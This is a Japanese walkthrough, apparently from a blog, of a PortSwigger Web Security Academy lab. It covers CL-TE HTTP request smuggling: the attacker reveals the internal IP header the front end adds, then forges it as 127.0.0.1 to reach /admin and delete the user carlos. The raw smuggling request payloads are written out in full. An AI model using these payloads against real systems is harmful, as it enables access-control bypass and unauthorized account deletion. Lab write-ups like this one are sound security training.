Hello there, ('ω')ノ
HTTPリクエストの密輸を悪用して、フロントエンドリクエストの書き換えを。
このラボにはフロントエンドサーバとバックエンドサーバが含まれ。
フロントエンドサーバはチャンクエンコーディングをサポートしていなくて。
管理パネルにアクセスできるのはIPアドレス127.0.0.1のユーザのみで。
フロントエンドサーは、着信リクエストにHTTPヘッダーを追加して。
X-Forwarded-Forヘッダに似ているものの名前が異なって。
フロントエンドサーバは、チャンクエンコーディングをサポートしていないので。
CL-TEシーンで。
一部のネットワーク環境では。
フロントエンドプロキシサーバは、要求を受信した後に。
要求をバックエンドサーバに直接転送しなくて。
代わりに、いくつかの必要なフィールドを追加してから。
それをバックエンドサーバに転送して。
まずは、リクエストパラメータの値をレスポンスに出力できる。
POSTリクエストを見つけることからはじめて。
ページの上部の検索機能が、その要件を満たしていて。
リクエストをリピータへ。
検索結果が直接エコーされていることが確認できて。
数回のリクエストの後。
フロントエンドサーバで追加されたリクエストヘッダが取得できて。
検索結果で、フロントサーバから転送されたリクエストヘッダを確認できて。
POST / HTTP/1.1
Host: aca01f3d1ea525f380c3207100d30057.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close
search=test
下記のリクエストヘッダが確認できて。
X-ExGddX-Ip: 133.155.222.106
寄り道をして、X-*-Ipリクエストヘッダのみを追加すると。
バックエンドが2つの重複するリクエストヘッダを受信するので。
管理パネルにアクセスできなくなって。
どうもバックエンドサーバが重複するリクエストヘッダを判断しているようで。
よって、フロントサーバで追加されたリクエストヘッダを。
非表示にする必要があって。
Smugglingを使用して他のフロントサーバによって。
追加されたリクエストヘッダを非表示にすると、管理パネルを取得できて。
Content-Lengthは10で、以降のデータの長さは十分ではなくて。
よって、密輸要求を受信すると。
バックエンドサーバは要求がまだ送信されていないとみなし、送信を待機し続けて。
次に、同じデータパケットを送信し続けると。
バックエンドサーバは、フロントエンドプロキシサーバが処理した要求を受信して。
受信したデータの全長が10に達すると。
バックエンドサーバはリクエストが送信されたと見なして続行して。
このように後続の要求の一部が密輸された要求のパラメータの一部として取得されて。
フロントエンドサーバによってフィールドが書き換えられるようになるので。
このフィールドを密輸されたリクエストに追加して。
リクエストを密輸してユーザを削除することに。
POST / HTTP/1.1
Host: aca01f3d1ea525f380c3207100d30057.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 143
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-ExGddX-Ip: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
Connection: close
x=1
リクエストに下記の変更を加えて。
Content-Length: 166
GET /admin/delete?username=carlos
クリアできた。
Best regards, (^^ゞ